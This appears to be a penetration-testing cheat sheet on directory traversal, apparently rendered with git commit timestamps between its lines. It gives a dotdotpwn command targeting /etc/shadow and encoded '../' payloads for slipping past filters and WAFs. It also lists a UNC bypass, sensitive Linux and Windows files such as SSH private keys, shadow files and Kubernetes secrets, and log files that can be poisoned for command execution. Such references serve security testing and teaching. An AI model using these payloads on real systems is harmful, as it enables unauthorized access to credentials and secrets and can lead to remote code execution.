2018-12-27 23:27:15 +00:00
# Directory traversal
> A directory or path traversal consists in exploiting insufficient security validation / sanitization of user-supplied input file names, so that characters representing "traverse to parent directory" are passed through to the file APIs.
## Summary
2019-06-09 14:05:44 +00:00
* [Tools ](#tools )
2018-12-27 23:27:15 +00:00
* [Basic exploitation ](#basic-exploitation )
2019-07-05 16:42:42 +00:00
* [16 bits Unicode encoding ](# )
* [UTF-8 Unicode encoding ](# )
* [Bypass "../" replaced by "" ](# )
* [Double URL encoding ](# )
* [UNC Bypass ](#unc-bypass )
2018-12-27 23:27:15 +00:00
* [Path Traversal ](#path-traversal )
2019-07-05 16:42:42 +00:00
* [Interesting Linux files ](# )
* [Interesting Windows files ](# )
2018-12-27 23:27:15 +00:00
2019-06-09 14:05:44 +00:00
## Tools
- [dotdotpwn - https://github.com/wireghoul/dotdotpwn ](https://github.com/wireghoul/dotdotpwn )
```powershell
git clone https://github.com/wireghoul/dotdotpwn
perl dotdotpwn.pl -h 10.10.10.10 -m ftp -t 300 -f /etc/shadow -s -q -b
```
2018-12-27 23:27:15 +00:00
## Basic exploitation
We can use the `..` characters to access the parent directory, the following strings are several encoding that can help you bypass a poorly implemented filter.
```powershell
../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216
```
2019-07-05 16:42:42 +00:00
### 16 bits Unicode encoding
2018-12-27 23:27:15 +00:00
```powershell
. = %u002e
/ = %u2215
\ = %u2216
```
2019-07-05 16:42:42 +00:00
### UTF-8 Unicode encoding
2018-12-27 23:27:15 +00:00
```powershell
. = %c0%2e, %e0%40%ae, %c0ae
/ = %c0%af, %e0%80%af, %c0%2f
\ = %c0%5c, %c0%80%5c
```
2019-07-05 16:42:42 +00:00
### Bypass "../" replaced by ""
2018-12-27 23:27:15 +00:00
Sometimes you encounter a WAF which remove the "../" characters from the strings, just duplicate them.
```powershell
..././
...\.\
```
2019-07-05 16:42:42 +00:00
### Double URL encoding
2018-12-27 23:27:15 +00:00
```powershell
. = %252e
/ = %252f
\ = %255c
```
2019-07-05 16:42:42 +00:00
### UNC Bypass
An attacker can inject a Windows UNC share ('\\UNC\share\name') into a software system to potentially redirect access to an unintended location or arbitrary file.
```powershell
\\localhost\c$\windows\win.ini
```
2018-12-27 23:27:15 +00:00
## Path Traversal
2019-07-05 16:42:42 +00:00
### Interesting Linux files
2018-12-27 23:27:15 +00:00
```powershell
/etc/issue
/etc/passwd
/etc/shadow
/etc/group
/etc/hosts
/etc/motd
/etc/mysql/my.cnf
/proc/[0-9]*/fd/[0-9]* (first number is the PID, second is the filedescriptor)
/proc/self/environ
/proc/version
/proc/cmdline
/proc/sched_debug
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
2019-07-05 16:42:42 +00:00
/proc/self/cwd/index.php
/proc/self/cwd/main.py
/home/$USER/.bash_history
/home/$USER/.ssh/id_rsa
/var/run/secrets/kubernetes.io/serviceaccount
2018-12-27 23:27:15 +00:00
```
2019-07-05 16:42:42 +00:00
### Interesting Windows files
Interesting files to check out (Extracted from https://github.com/soffensive/windowsblindread)
2018-12-27 23:27:15 +00:00
```powershell
c:/boot.ini
c:/inetpub/logs/logfiles
c:/inetpub/wwwroot/global.asa
c:/inetpub/wwwroot/index.asp
c:/inetpub/wwwroot/web.config
c:/sysprep.inf
c:/sysprep.xml
c:/sysprep/sysprep.inf
c:/sysprep/sysprep.xml
c:/system32/inetsrv/metabase.xml
c:/sysprep.inf
c:/sysprep.xml
c:/sysprep/sysprep.inf
c:/sysprep/sysprep.xml
c:/system volume information/wpsettings.dat
c:/system32/inetsrv/metabase.xml
c:/unattend.txt
c:/unattend.xml
c:/unattended.txt
c:/unattended.xml
```
The following log files are controllable and can be included with an evil payload to achieve a command execution
```powershell
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/httpd/error_log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
2019-05-30 10:01:24 +00:00
/var/log/nginx/access.log
/var/log/nginx/error.log
2018-12-27 23:27:15 +00:00
/var/log/vsftpd.log
/var/log/sshd.log
/var/log/mail
```
## References
* [Directory traversal attack - Wikipedia ](https://en.wikipedia.org/wiki/Directory_traversal_attack )
2019-07-05 16:42:42 +00:00
* [CWE-40: Path Traversal: '\\UNC\share\name\' (Windows UNC Share) - CWE Mitre - December 27, 2018 ](https://cwe.mitre.org/data/definitions/40.html )